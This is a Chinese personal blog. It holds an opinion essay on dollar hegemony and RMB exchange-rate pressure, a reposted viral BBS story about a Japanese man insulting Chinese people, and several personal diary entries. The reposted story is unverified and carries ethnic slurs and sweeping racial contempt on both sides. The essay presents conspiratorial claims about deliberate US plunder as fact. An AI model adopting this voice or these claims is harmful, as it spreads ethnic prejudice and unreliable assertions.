但是后来随着经济的发展，货币总量需求增大，黄金开始紧缺，国家不得不在黄金储量之外发行过量的钞票。此时金本位崩溃。再后来黄金成为国际间的重要支付手段，国家感觉有必要自己进行掌握，所以国家就开始终止钞票和黄金的自由兑换，而把有限的黄金用于国家控制。这样就进入彻底的信用货币时代，黄金作为一国内的支付手段退出流通领域。国家发行钞票完全根据自己的需要，并获取发行钞票的巨大利润。因为他们付出的是纸，印出的却是钱。 基于同样的原理，国际外汇市场也走在同样的演化路径上。 二战过后，各国把黄金交放到美国央行，美国按照与黄金的一定比例投放美圆。各国都接受美圆为世界通用的货币。这个过程相对是比较公平的，因为美国要严格按照其黄金储备发放美圆，而且各国凭借美圆可以自由提取美国的黄金，因此不存在剥削他国财富之说。但是很快，由于世界经济的迅速发展，不要说美国的黄金储备，就是世界的黄金总产量都跟不上经济的发展，美国要满足各国把美圆作为外汇储备以及世界货币的需要，不得不开始超出黄金储量来印刷美圆。在谈到这段历史时，要纠正一个错误，就是美国大量印刷美圆，来解决它的外汇逆差，并不一定是因为美国经济的衰退造成的。即便美国的经济不衰退，世界经济的发展也将促使它在黄金储备以外发行美圆。特别是，美国自身的经济发展越快，就越有多印美圆的需求。如果美国的经济长期处于顺差，则美圆就无法发到世界上去，也就成为不了世界货币。 由于美圆发行的总量远远超过了美国的黄金储备，美圆相对黄金就再也无法维持以前的比率，美圆不得不进行贬值。此时世界掀起抛售美圆，提取黄金的热潮，如果放任下去，美国央行的黄金可能被耗尽，于是美国政府宣布，停止美圆与黄金的兑换，美圆与黄金脱钩。这就是布雷顿森林体系的垮台。 布雷顿森林体系的垮台，不是由于哪个国家的经济衰退引起的，而是世界经济发展的必然历史趋势。 虽然布雷顿森林体系垮台，美圆凭借其历史惯例和强大的经济实力，作为世界货币的地位仍然不可动摇。而且这个时候美圆的霸权开始显现出来，美圆开始作为美国攫取其他国家财富的重要手段而存在。 形象一些说，此时美国类似世界央行。美国发行的美圆已经成为信用本位的货币。它可以凭空印刷美圆，用于购买它国生产的实物财富。也就是说，美国可以用白纸来换取它国的原材料、以及其它实物产品。有人会说，当美国用美圆购买它国产品时，其它国家也就获得了美圆，其它国家可以持美圆反过来购买美国产品，因此不存在说美国霸权不霸权的问题。这个问题涉及到两个方面。一个方面与目前美圆贬值的问题密切相关，这个在后面我会阐述。这里我谈它的第一方面，就是美圆的货币税问题。 虽然拥有美圆的国家可以向美国购买产品，从而使得与美国的交换成为等价交换，但是一方面它是各个国家的重要外汇储备手段，随着经济的增长，储备也会逐渐增多；另一方面美圆作为世界货币，它必定要在世界其他各国流通，而且世界经济发展越快，在各国流通的总量也就增长越快。因此从局部看，不断有美圆流出或者流进美国，但总体上，还是以美国向外输出美圆，向内输入实物财富为主。这就是大家看到为什么往往都是美国逆差的真正原因。这长期停滞在美国之外的美圆，就是美国向各国收取的货币税。美国凭借货币税的特权，直接无偿掠夺别国财富。因此大家再看到美国对世界上其它国家进行援助时，应当知道它可能仅仅归还了从这些国家掠夺过来的部分财富而已。同时大家再看到美国逆差，而且美国拼命指责其他国家造成它的逆差时，千万不要轻易得出美国真的吃亏的结论，它是在贼喊捉贼，流血的说不定恰好是你自己。 的确，如果美国美圆输出过多，这些输出的美圆如果反过来购买美国的产品，无疑是美国财富的损失，其收的货币税就少了。所以，美国采取了另外一个措施：贬值。我个人相信，美圆保持一定时期的稳定，然后贬值，然后再保持一定时期的稳定，然后再贬值，是美国的一项长期既定战略而不是什么突发危机使然。当其他国家都储存太多的美圆储备后，例如中国这样的国家不吃不喝勒紧裤腰带的积累了3000多亿美圆的外汇储备，美国就开始考虑贬值了。美国贬值货币主要通过降低利率，扩张财政支出，以及央行干预来完成。通过这些措施，使得美圆供应量增大，美圆贬值。美国的降低利率和扩张财政支出，对本国经济也要造成影响，譬如经济可能过热。但是美国对于国内经济，虽然我并不能断定它是有意为之还是对经济运行还不是太熟悉，总之在它执行美圆贬值手段时，严格的控制了国内的需求，也就是说通过供需失衡，使得美圆利率下调，美圆贬值，同时美国的经济还不过热。我已经声明，不排除是美国对经济还不熟悉的原因导致其供需失衡。但是，如果换上是我，如果对经济比较了解的话，不排除不采取某些相似手段。特别是美国刚刚完成一场战争，也给贬值造成了有利条件。 假使美圆贬值10%，则中国外汇储备硬生生损失300-350亿美圆。放之世界，各国又要损失多少？美国又要掠夺多少？ 当然，美国虽然容许一定的逆差，但是逆差太大，给它带来的影响也是不利的。美国一方面通过贬值减少逆差，另一方面，特别是小布什执政，削弱福利，经济萎缩，失业增加，因此增加出口外贸需求就成为拉动经济的重点。美国出口产品多是附加值高的高科技产品，出口再多，对于美国的实物财富减少也影响很小。所以增加出口，并以出口获取的财富用来进口低附加值的实物财富，也是美国经济的重点。而美圆贬值，降低了其出口价格，增加了出口。 以美国和中国两国而言，美圆贬值，人民币升值，对于今后的进出口影响自不必说，最狠的一招还在后面。美国和日本指责中国政府干预外汇市场。其要求主要有两个，一个是人民币要升值，一个是资本市场管制要放开，也就是说资本可以自由兑换。这两个要求足以对中国经济构成致命的杀伤力。一种货币的贬值可以有多种手段。例如美国，是通过调节美圆利率等国内经济政策手段来实现。但是这种方法运用不当的话，往往会伤人一千，自伤八百，因为这些国内经济政策不但影响外汇市场，还威胁本国国内经济。坦率的说，这也是西方经济理论本身的缺陷导致的。而中国采取的是另外一种方式，就是直接通过央行的买进卖出，来保证外汇市场人民币的汇率。同时中国还采取资本管制，资本并不能自由进出中国市场。因此中国可以在相对屏蔽本国经济的情况下对外汇市场进行干预。但无论如何，货币是否贬值，大多都是由政府政策决定的。无论美国也好还是日本也好，其货币的贬值都是政府干预的结果，而不是什么他们口口声声说的市场、自由。日本有官员说虽然利率由政府决定，但是汇率应当由市场决定的说法简直是搞笑，这是典型的话语霸权。都是干预手段，都导致货币贬值的后果，难道惟独你那种干预是市场经济，我这种干预就是政府干预？说句实话，目前西方通行的外汇体系本身就有很多缺陷，难道弥补这些缺陷，不跟你犯同样的错误就是政府干预？他们的真正目的，除了上面说的以外，还在于一个更加阴险的措施。 在他们要求人民币升值之时或者之前，美国或者日本的金融投机家开始把大量资金暗地流入中国。如果中国资本市场开放，这种流入就更加容易。资金流入中国后，兑换成人民币，等着人民币升值。人民币升值后，这些金融大鳄就开始抛出人民币，购买美圆。中国央行不可能也跟着抛出人民币购买美圆，如果那样的话人民币的汇率就会下跌。中国央行为了维持人民币汇率，必须购买人民币，抛出美圆等外汇储备。本来中国的人民币之所以表面上看要升值，是因为中国经济失衡，需求不足，物价低迷，大量人民币游移于市场之外的结果，特别是近年来大量资金外逃，据统计外逃资金达3万亿之巨，并不是人民币真的就该升值了。如果那时资本市场开放，外逃资金加上中国本土藏于地下的人民币倾巢而出，再加上金融大鳄利用金融杠杆，以一元资金调动十元的比率，来冲击人民币，可能最终有两个结果。比较乐观的结果是中国央行外汇储备足够，最终咬牙撑住了人民币汇率，但是此时由于已经大量的抛出美圆，所以外汇储备也是损失殆尽，国家经济倒退几年乃至十多年。第二个结果更为恐怖，就是央行发现无法支撑，最终放任人民币汇率变化。此时人民币汇率将一路下跌，人民币越下跌，人们越是抛出人民币，越抛出人民币，人民币汇率越下跌，直到最后崩溃为止。这就是东南亚金融危机的翻版。到那个时候，中国彻底萎靡不振。 这是人民币升值可能带来的最严重的后果。即便中国仍然在资本管制，但目前各种投机资本仍然通过各种途径进入中国200多亿美圆就是迹象。 那么，可不可以人民币不升值，但资本放开管制呢？如张五常主张的那样？相形而言，我宁愿人民币浮动一下汇率，同时不开放资本兑换，也不愿意固定人民币汇率下开放资本市场。因为浮动汇率，游资要来冲击人民币，至少我可以通过行政手段加强管制，而开放资本市场，在目前人民币总体上看可能反而是贬值的情况下看，如果国外金融大鳄连同地下人民币狙击中国，即便人民币不升值，也可能耗去大量外汇储备，经济遭受重大损失。 从另一方面，我们又不禁要问，即便美国不耍手腕来抢夺中国手中的外汇，外汇对于中国就有什么意义吗？ 长期以来，中国由于教育、社保福利等政策上的失误，以及中西部经济差距、城乡经济差距的进一步增大，致使内需严重不足。内需的不足又导致工资进一步降低，反过来又致使内需进一步下降。所以中国把经济的发展寄托于外需，希求通过外贸把产品卖出去。但是中国的产品多是低级产品，在国际市场上的竞争主要是靠廉价。而这种廉价又主要依靠中国的廉价劳动力来完成的。这是一个非常严重的问题：如果长久的压低劳动力的工资，则国内内需将没有启动的可能，中国会进一步依赖外需；而依赖外需又需要再压低劳动力的工资，以在国际市场上竞争，而压低劳动力工资又将继续压抑内需。 现在抽出身来回看我们的国内经济，当真是一幅奇观： 我们不断的生产大量产品源源不断的输往国外，换回大量的外币，国内人民却无法消费。换回的大量外币又被国家通过购买美国等外国的国债等方式，流回美国等国家。 这样，中国以纸币标志的GDP不断增加，但是用于国内消费的财富却不见增长甚至可能下降。 又由于内需不振，外需就占了总需求的相当比重，所以人们就以为外需更加重要，进一步不惜抑制内需来扩张外需，于是国家经济进一步走向歧形。其表现形式是外汇出现大量顺差，国内需求萎靡不振。 夫一国之经济，根本应依赖于物质财富的消费，此种消费乃是下一轮物质财富再生产的源泉，岂能守着几张花花绿绿的废纸来富强邦国。美国常年保持外汇逆差，却成为了经济超级大国，非常重要的一点便在此。中国外贸所得外汇，不用于购买国外相应物质财富以供国内发展，别说4千亿美圆储备，就算有4万亿美圆又与废纸何异？可叹了枉自紧缩了国内需求，却是与他人作嫁衣裳。 外贸之输赢，不在你逆差还是顺差，而在你产品的附加值是否高。倘若产品的附加值低，你顺差越多，国力便越是衰退。不过此经济分析，不是此文内容，放作以后分析。 目前中国央行正竭力抑制人民币升值，其采取的干预方式乃是标准的西方宏观货币政策，即买进美圆，抛出人民币。为防止抛出人民币导致通货膨胀，另一方面又紧缩银根，削弱正常途径的货币投放数量，以求达到一国货币总量的稳定。这种方法非常危险，因为虽然好象总量上货币稳定，但是加强了经济的不均衡，正常的商业运作被紧缩性的货币政策限制，抛出的人民币却大量的游移于市场之外。结果中国的经济将处于这样一个两难境地：经济继续紧缩，需求继续疲惫，而大量人民币成为地上悬河，随时可能崩溃。因此正常经济一旦稍有起色，央行就不得不担惊受怕，怕这悬河垮了，造成通货膨胀，所以收紧钱口袋。而收紧钱口袋，经济便没有起色。所以两派经济学家吵架，一派说中国经济要通货膨胀，一派说中国还在通货紧缩，都有道理又都没有道理。关键怕的就是这道悬河，是悬在头顶上的一柄剑。如果没有这道悬河，中国经济究竟是紧缩还是膨胀，局势就会明朗，争论就会少得多。 中国经济要正常运转，必须削掉这道悬河。加强对垄断利润的税收，加强打击资金外逃，实行财产登记制度，增设遗产税。加大教育投入，加大社保医疗等公共福利设施投入。切实保障工人权利，提高我国劳动力素质，不要老是以廉价劳动力为荣。把外向型经济转为内向型经济。以上措施，可以相当于中央银行紧缩银根给投资造成的影响一样，但是却可以刺激投资的积极性和增加消费，削去悬河，因此与仅仅紧缩银根不可同日而语。对于目前的外汇储备，除了保留必要的用来稳定市场的部分外，应当用以购买战略资源或者技术，通过这种方式把美圆抛出去，以绝国际社会之话柄，并同时让外汇切切实实地用来建设中国，而非像守财奴一般抱着外汇压箱底。要是中国以后被迫抛出美圆之时，是通过吸纳人民币来抛出美圆，中国央行还自以为是执行外汇调控政策，则中国数十年之积累，转眼便灰飞烟灭，一场空矣。 一句话：解决外汇困境，攘外必先安内。 2月23日 很准的个性测试，不妨试试***Your Birthdate: November 7***
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2月20日 zz在北大校园BBS引起轰动的一篇文章（五）我当时心里面就像是有很大的火气但是发不出来，我既要保持中国人的气度，又要承受听着一个鬼子侮辱我们整个民族。动粗只是野蛮的表现，但是对他，我们还能怎么样哪？ "你快走开吧。省着我受不了打你。" "小伙子不要乱说话，你打我犯法的，但是我打死你都没有事情，我们的一个朋友就这样做过，最后还是平平安安的被送回日本。你已经很生气了，可能听不下去了，打扰了。" 他说完这些就走了。桌子上留下了"奉天，大一统"几个字，和一张虽然草草但是画得很熟练的世界地图。 ……就在他走之后，几个朋友都陷入了沉思。他说得真的好多都是真的。为什么会变成这样哪？ 那天晚上到天亮之前的时间里，我们想了很多很多。 第二天，我在课上请求老师给我20分钟，我把前一天，看到的，听到的，想到的很没有技巧但是却很发自内心的讲给了一起上课的两个专业的同学。（可能有人还记得吧？00应化和00广电）我从上台的一刻起，就决定了。我没权利改变别人，但是我可以告诉别人，有些事情离我们很近，有些事情我们要警惕，有些事情，我们不能做，还有些事情，我们必须做。
第二年，韩国青年在日本领事馆前切指明志。我盯着韩国青年事后包手指的痛苦表情的照片，心里发出由衷的敬意。 同年，中国有一个很不争气的女明星穿着日本的军旗做的袍子拍照被谴责。可能她不知道。甚至很多人还站在她那边觉得是小题大做。我后来怎么看她的嘴脸，怎么觉得越发恶心。同年8月份，日本首相小泉参拜靖国神社。看着日本老兵穿着二战的衣服。心里又想起了那个日本人和我说过得很多话。同年冬天，第一次看到王选的事迹。从心底支持这个"英雄"，在我眼里，他就是女英雄。日本人曾经对中国做过什么，当时日语系办了一个日本文化周，我当时真的百感交集，他们的宣传材料上全是说日本这么好那么好，举办活动加强什么交流。还要征文。那几天小泉刚刚参拜过靖国神社，日本导弹威胁中国也是那时候刚发生的事情，他们就不知道为这个来征文吗？想起有些学日语的给饭卡加钱的时候，写名字都用日文来写，心里更恼火，难道有些人学日语是为了媚日吗？我当着很多人的面把学校所有的宣传材料都撕掉了。你可以麻木，但是你不可以教唆别人。zz在北大校园BBS引起轰动的一篇文章（四）其实他说的这些有很多是我一直想说的，但是作为中国人，我只能抱着复杂的心情和他理论到。 "你有什么资格说这些？你对中国的地域了解多少？" "南方中国人和北方中国人我都研究过，我还做过类似的报告给日本政府。"他看着我说："日本人比较看得起你们，你们像日本人，是真正的男人，在遇到侵略的时候会团结起来抗争。这也让我们吃了很多苦头。而南中国人比较聪明，他们不会愿意卷入牺牲和努力。所以他们愿意发展经济。但是一旦有战争发生，他们将是最容易制服的亡国奴。" "不许你诬蔑我的同胞！"我义正言辞的告诉他。 你不要觉得中国人多团结伟大，韩国人在国家出现困难的时候可以全国人民捐金子给政府，在你们中国，可能吗？？" 我完全怔住了。 是啊，他说的千真万确啊！可能吗？大家也可以自己想象，如果是你，你会吗？ "这个可以不谈，每个人有自己的想法。"他回到那张纸上，指着地图说："我还是给你们介绍我们的大一统吧。这是世界，十五年后，他就是我们日本人的。" 他在纸上用繁体字写下："大一统"。 "我们不用繁体字，对不起先生。请不要再写了。我们看不懂。"我们很生气他的做法。 "没关系，其实这也是你们文化的一部分。你们连祖先写的字都放弃了。"他轻蔑地笑着说。 "我们国家是有规划的，全世界都在看我们的动画片，我们的电视剧，用我们的电器，很多人疯狂的崇拜日本，在中国，也不再少数吧？你们接触的都是外面的文化，而中国人又对自己的文化不感兴趣，当有一天你们一觉醒来，发现身边的一切都是别人的的时候。你们连后悔都来不及啦！顺理成章的，总有一天，你们的国土也会变成我们的，因为你们中很多人已经认同我们的东西，我们的思想了。" 多么的悲哀啊？他说的事情的的确确是真的。我们身边多少人对日本的美国的东西着迷。甚至有哈日，哈韩这样的词语出来。在欧洲，巨无霸被人们认为是美国文化的侵略而被抵制，而中国最近的调查有47%的中国孩子觉得麦当老是中国的品牌。这会有什么样的后果啊？我虽然嘴上在回击，但我的心里很不是滋味，那是一种什么感觉？此时此刻的你能体会到吗？ "劣质的民族是不应该生存的这么自在的，我们是来解救你们的。在日本，我这样的人有很多，全世界都有，我们是有组织的。我爸爸是老兵，我们都信奉天皇。我不知要到美国中国，还要去欧洲，去全世界宣传我们日本的文化和想法。" "算了吧，自大狂，你一直在说中国的文化，中国的文化里面有一样你一直没学到。" "噢？是什么？愿意请教。" "那是尊重，这是你们日本人永远学不到的，你们以为鞠鞠躬就是尊重了？完全不是。一个不尊重别人的人是不会得到别人的尊重的。" "我没有必要尊重你们，因为你们劣等。"zz在北大校园BBS引起轰动的一篇文章（三）我们马上问了他很多关于中国的问题，看他是否真地对中国的文化有所了解，让我们吃惊的是：第一次大一统、唐代盛世、元清的少数民族统治、甚至"春天的故事"，这所有的东西，他都能很清晰甚至很透彻地告诉你经过和影响。他自豪地说："一个不研究自己文化的民族，就是落后和愚昧的。是被别人瞧不起的。" 我马上回击："你们日本人就被别人瞧得起吗？别忘了黄种人在美国是什么地位。" "你去过美国吗？你了解美国吗？如果没有，请不要妄加判断。我在美国生活过两年，我想，在美国，亚洲人如何，我应该比你有发言权。" 我哑口。 "有一次我去买首饰，选了好久，服务生都态度很生硬。而当我告诉她我是日本人的时候，他马上很恭敬的帮我选，还抱歉地说：''''对不起，我还以为您是香港人哪''''，这就是尊重，是你们永远享受不到的尊重。" "你当人家真的尊重你啊？还不是因为日本人的钱？" "就算是为了钱，怎么样？事实就是人们尊重日本人，不只是因为钱，更是因为日本强大，因为日本人的素质比中国人高。" "你凭什么说中国人素质低？你去过几个地方？" "我去过十几个省，绝对比你去过的地方多，让我说为什么，我不举别的地方，我现在在的城市是上海，这算是你们中国最好的城市了。可是怎么样哪？人们像盲人一样根本不看红灯的过马路。乘坐交通工具的时候向发狂一样的挤来挤去。随地吐痰，晚辈在街上辱骂长辈，这些都是真的吧？" 我又哑口，朋友接到说："有些人是这样，但是不代表所有人是这样啊。我们深圳人就不会乱抢位子，乱穿马路。" "噢？是这样的吗？对不起，我没有去过深圳，如果有机会，我一定会去看看。"他的表情变得恭敬起来。这更接近我过去对日本人的看法。但是，这没有维持多久。 "素质，什么叫素质？你们的孩子都被大人包在家里。生怕孩子吃苦。我小的时候，爸爸每天都让我四点起床去跑步，当时我很不理解，还有些恨他，可是现在，我感激我的爸爸，是因为这样的锻炼，使我形成了坚毅的意志。让我形成了日本人的精神。这么差的基础。怎么可能会有一个强大的民族？ 我在美国做过hotel的manager，当时有两个人被辞掉了。一个是日本人，一个是中国人。他们都归我管。两个人都来求我，说自己能胜任现在的工作，让我帮忙。我并没有因为其中有日本人而偏袒他。我让他们做同样的工作，谁做好了把谁留下。很不幸的，两个人真的都不是很熟练。我当时同时的教了他们怎么做，让他们继续做好，那个日本人很认真地听我每一句话，最后做得很好，而中国的又懒又不努力，我都不知道他搞了些什么。最后我忍无可忍。我没有把他当人的对他喊：''''你给我滚！'''' "无可否认有素质差的人，但是这并不能代表全部，难道你的意思是每个中国人都这样？我们有很多人很努力的工作，很敬业，难道你就没看到这些？" "工作？你们中国人最擅长的就是互相排挤，懂什么叫团队吗？你们连两个地方的人都会互相看不起，不要说一个团队里来自各个地方了。中国人是最恶心的民族。到处都是一个地方的人看不起另一个地方的。" zz在北大校园BBS引起轰动的一篇文章（二）那时2000年冬天的一个晚上。我和几个好朋友在复旦旁边的一个漫画pub（乐静宜开的漫画吧）过通宵。那个pub在上海算是小有名气的。里面都是日本的漫画和其他的书籍，氛围弄得很好。…… 这时，旁边走过来一个服务生，头上系着头巾，很恭敬的在旁边问道，"先生，可以聊聊吗？"，我们高兴的欢迎了他，当然，第一句话是礼节性的问了一句"您是哪里人啊？"他的回答很巧妙。"我是哪里人不重要，我在哪里就是哪里人，你们觉得我是哪里人哪？然后用上海话说："那晓得伐？"，听到朋友说它是广东人，就用广东话说："你知吾知嘎？"然后用北京话一样的北方音调的普通话对我说："您说哪？"由于他的相貌和举止，我们一致猜他是日本人，他不置可否，对我们笑笑说："这个不重要，我问你们一个问题好吗？"他向我们借了笔和纸，然后，很认真地看着我，说："你是东北人，我问你一个地方你知道吗？"然后在纸上很流利地写下了两个很漂亮的汉字："奉天"。写好之后，他抬头看看我说："这里本来可以做都城的，可惜。"我马上觉得来者不善，可能因为面对的是外国人所以激发了我的感情，我很正经的和他说："先生，您写错了，现在已经没有叫做奉天的城市了，"奉天"现在叫"沈阳"，叫做"奉天"的那个年代，一去不复返了。" 他笑笑说："那可不一定"。 然后他在纸上画了一张世界地图说："这个就是世界，你们对世界有什么看法吗？没有，因为你们是不思进取的民族。我们不是，我们的目标不只是奉天，东北，甚至中国。我们的目标就是……"，他用笔在地图上 画了一个大圈，然后很有力量的说："全世界"。 我笑了笑说："世界属于谁不是你们定义的，什么事情都有他的规律。你凭什么说中国人不进取？你凭什么瞧不起一个这么有文化底蕴的民族？" "你们总在谈文化，我很敬重中国的文化，我觉得我一辈子也不能完全理解其中的一点点内容，这也是我一直学习中国文化的原因，但是你们哪？你们中国人，自己的文化知道多少？甚至我可以说，中国人，懂中国的文化，绝对没有我们日本人懂得多。儒学的思想是什么？为什么孔孟会被尊奉到那么高的地位？你们谁能说出来？" "中庸、仁，这些就是儒学的精髓"我将我当时仅有的有关中国文化的知识搬出来。我那时的心情相当复杂。是啊，他问更多哪？我还能知道了吗？我们这一代认真的又很少人对中国的文化感兴趣甚至研究过。一个连自己文化都不懂的人，怎么配和别人理论文化的问题啊？ ZZ在北大校园BBS引起轰动的一篇文章（一）我生长在东北的哈尔滨，虽然从小唱着"大刀向鬼子的头砍去……"，听着历史老师很愤恨的叫日本人"倭寇"、"鬼子"，看着诸如731部队之类的报道和展览，但这并不影响我儿时对日本的看法，记得小的时候，同学录上"最向往的地方"一栏，我填的都是日本。 那个时候觉得日本的动画片很好看，日本的小电器好用，甚至连日本的忍者和剑道高手，都是我心中的偶像。小时候拿着木棍模仿日本人劈剑的经历，我现在都记忆犹新。渐渐的，人也长大了。有机会听到见到更多关于日本的东西。这中间当然有那段不短的历史，有日本国内对中国的看法，有日本经济的强大，和时常能听到的"友好邻邦一衣带水"之类的宣传。 可以说，在相当长的一段时间里，我并没有对日本有任何心理上的戒备和敌意，甚至，可以说是有点谄媚的向往。我当然也听到过"南京大屠杀""731细菌部队""旅顺大屠杀"和数不清的日本人在侵略时的历史，但是，我始终认为，哪些是过去了，记着就可以了，干吗要抱着不放哪？两国友好不是很好吗？这些和他们这一代日本人没关系啊……等等如是的想法。 2000年，我从东北的哈尔滨来到了上海，异乡的生活，给了我更多的机会接触不同的人和事，也让我有机会能够更深的思考一些问题。 刚来上海的时候，有人听到你是来自哈尔滨的，时常会问到："你们恨日本吗？"那时，我都会以东北人的身份告诉他："东北人都恨日本，他们侵略过我们"。但是说让我说具体我恨他什么？我根本说不出来，因为在那时的我的印象里，我是没有任何情感的累积的，只是出于道义和理所应当的层面上才会说这些。 直到那一天。 1月31日 异乡过春节在国外过年，这算是头一遭，很没气氛。尤其是在印度，即便是在冬天时节，还能让人觉得暖洋洋地热和。所以，印度人是难以体会到中国人民欢庆冬去春来、除岁迎新带来的那种喜悦的。不过幸好，我不是一个人待在印度。大家都欢聚一堂，和面，剁馅，擀饺子皮，我们自己动手做饺子。说实话，对于我这个南方人来说，过年吃饺子这也是头一回，第一次品尝到了中国传统的北方的年夜饭。 其实这时候，任何的美味都比不上母亲亲手做的那碗蛋卷面来得好吃。那是我小时候最喜欢吃的蛋卷面。每天早上，天灰蒙蒙亮，母亲就将我从被窝里叫醒。我一边望着她在灶旁忙碌的身影，一边趁着晕暗的灯光晨读。外面清冷的早上，人们都还睡得正酣，只有那些为了孩子上学早起的母亲们，才会不辞辛劳地点亮村里的第一盏灯。而在此时，也只有孩子朗朗的书声能给她们带来莫大的欣慰。 虽然现在想起来，作学生真苦，每天要这么早起来上学，但又是那样地幸福，可以吃到母亲亲手做的早饭。母亲才是最辛苦的，母爱才是世界上最伟大的爱。“慈母手中线，游子身上衣。”可惜今年过年，不能在母亲的身边了。回国以后，有机会的话一定要跟母亲好好学做菜，以后也让她能尝到儿子为她亲手做的菜。 1月15日 不做好人来印度后，经常听人说我是个“好人”，“大好人”，甚至连印度的朋友也赞许我是个“good boy”。然而，听到这样“高度”的称赞，我丝毫没有感到些许的兴奋和高兴。反而让我萌生这样一个念头：我不要做好人了。 很多朋友会觉得奇怪，做好人不是很好吗？难不成你想当个坏蛋？那倒也不是，我仅仅不做好人而已。 自小受老师长辈们的教诲，要做个“好人”，自己也是这么学着做的。但那仅限于“治学”，不适用于“做人”。如果你不需要挣扎求生活，你可以讲道德，做一个圣人。但是在这个时代，老是好人吃亏。 你不踩低别人，别人便踩低你; 你忍着脾气不发作，人家便当你是个天生没脾气的人，欺负你;你对一个人宽恕了又宽恕，人家便把你当作一个不怕开罪的人;你事事为人设想，人家说，呀，怕是要骗人，最好先向这位下手;你为朋友两肋插刀，不计酬劳，那么你便永远两肋插着刀;你只求工作有兴趣，不谈薪金多寡，老板会说，呀，哪儿天上掉下来一个廉价工作者，上帝对我真好！ 眼看朋友就快要行差踏错，你把自己的痛苦经验搬出来，免得他重蹈覆辙，人家会说，哈，原来他遭遇过这么滑稽的事！你天天请朋友吃饭，有那么的一天你不请，朋友会说，哼，今天居然不请我吃饭，真不够朋友！ 《方与圆》中将如何做人做了一个非常恰当的比喻：“做人就应该像一枚铜钱，外圆内方”。其实我们毕业走向社会时，每个人都是有棱有角的，滚得久了，自然这些棱角也就磨圆了。只可惜很多人，同时也丧失了自己内心的棱角。 以前看过李宗吾的《厚黑学》，十分欣赏，只是学不来。书中云，三国英雄，首推曹操，他的特长，全在心黑：他杀吕伯奢，杀孔融，杀杨修，杀董承伏完，又杀皇后皇子，悍然不顾，并且明目张胆地说：“宁我负人，毋人负我。”心子之黑，真是达于极点了。其次要算刘备，他的特长，全在于脸皮厚：他依曹操，依吕布，依刘表，依孙权，依袁绍，东窜西走，寄人篱下，恬不为耻，而且生平善哭，遇到不能解决的事情，对人痛哭一场，立即转败为功，所以俗语有云：“刘备的江山，是哭出来的。”此外还有一个孙权，他和刘备同盟，并且是郎舅之亲，忽然夺取荆州，把关羽杀了，心之黑，仿佛曹操，无奈黑不到底，跟著向蜀请和，其黑的程度，就要比曹操稍逊一点。他与曹操比肩称雄，抗不相下，忽然在曹丞驾下称臣，脸皮之厚，仿佛刘备，无奈厚不到底，跟著与魏绝交，其厚的程度也比刘备稍逊一点。不禁感叹：“古之英雄豪杰者，不过面厚心黑而已”。 儒家治“学”，道家修“身”，佛家养“心”。看来我也该到时候去修得个"面厚心黑"了。 1月10日 童年（二）打我记忆里，我不曾上过幼儿园，只在广州读过一年多的学前班。所谓的学前班基本上跟小学一年级一样，每天要按时到校，到规定时间放学，还要端端正正地坐在教室里听老师上课。当时国内还没有普及普通话教学，实际上我也不记得我是否会普通话，反正是听不懂老师满腔“正宗”的广东话。因些，对于我这个“土仔”来说，上课是一件极无聊的事情。到处东张西望，开小差，一不留神，就会被老师点名起来回答问题，仅管同桌的美媚很是用心地暗示，我还是逃脱不了被罚站的命运。罚站是我幼年启蒙教育里最寻常的事情，每次老师点我的名字，不管三七二十一，站着就是了。想来，那老师肯定认为我是一个品行极端恶劣的学生。 童年的我其实是很顽皮的。记得有一次老师说学校里的游泳池虽然没有水，但也很危险禁止我们去那里玩。可我还是带领几个小朋友在那里玩得很开心。老师知道后，大怒。将我们一个个拉到教室门口靠墙罚站，而我就是排在第一位的那个。每逢周六，老师就会带我们去公园玩。每个小朋友都很喜欢抢那个小铁船的秋千，坐在里面左晃右摆，很是开心。有一次为了抢个先，竟一头撞到了船上去，撞得鼻血直流。也就从那以后，会经常性地无端地流鼻血。 广州的“皮蛋瘦肉粥”很是出名，令我记忆犹新。上学前班的时候，学校里供应早餐。每个学生要自带一个杯子，等到了早上九点钟左右，教室里就会抬进一桶的“皮蛋瘦肉粥”。学生们端坐着，老师一个个的分。味道是全然不记得了，只知道它很好吃。后来母亲也会做，但味道毕竟比不上儿时吃的来得地道。都说吃在广州，一点也没错，以后如果有机会再去广州的话，一定要好好吃个遍。 |
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